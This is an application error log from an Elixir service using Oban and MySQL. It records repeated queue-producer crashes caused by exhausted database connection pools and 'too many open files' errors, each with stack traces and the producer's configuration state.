State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:01:50.240577Z], limit: 20, uuid: "36ecf0c6-04e6-433b-8319-50bffaa41077", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:01:50.240583Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.17905>, refresh_timer: #Reference<0.2525715032.1068498948.43862>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:02:02.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1002ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:01:50.239920Z], limit: 50, uuid: "c96c6647-fbe9-4f06-bf15-e4397d931807", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:01:50.239925Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.17903>, refresh_timer: #Reference<0.2525715032.1077673987.17887>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:02:02.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1080ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:01:50.238741Z], limit: 5, uuid: "80361809-f260-4240-a112-ff8f643866e0", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:01:50.238750Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.17902>, refresh_timer: #Reference<0.2525715032.1077673987.17859>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:02:02.246000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1042ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:01:50.241303Z], limit: 10, uuid: "43757206-cc9c-4456-918b-37531c3347f7", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:01:50.241310Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.153114>, refresh_timer: #Reference<0.2525715032.1121189889.153113>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:02:05.456000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:02:06.670000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:02:09.224000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:02:10.355000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:02:14.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1071ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:02:02.250627Z], limit: 5, uuid: "ef711e34-7f5e-4931-8624-b97bcead94e6", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:02:02.250637Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.44033>, refresh_timer: #Reference<0.2525715032.1068498948.44007>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:02:14.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 814ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:02:02.250986Z], limit: 20, uuid: "7d75a06a-bc3d-4874-b1ea-48e4eae47cc5", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:02:02.250991Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.18232>, refresh_timer: #Reference<0.2525715032.1068498948.44008>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:02:14.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1065ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:02:02.253024Z], limit: 5, uuid: "db5af12e-3e52-4cdd-833f-dd441b9c03e5", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:02:02.253030Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.18234>, refresh_timer: #Reference<0.2525715032.1121189889.153245>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:02:14.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1068ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:02:02.251613Z], limit: 50, uuid: "fae1917f-ac04-4eac-bd4a-b452d465060d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:02:02.251618Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.18233>, refresh_timer: #Reference<0.2525715032.1068498948.44028>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:02:14.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1017ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:02:02.254247Z], limit: 3, uuid: "31eb556a-8f05-43eb-bb12-404c574c11be", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:02:02.254253Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.18231>, refresh_timer: #Reference<0.2525715032.1077673987.18206>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:02:14.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 884ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
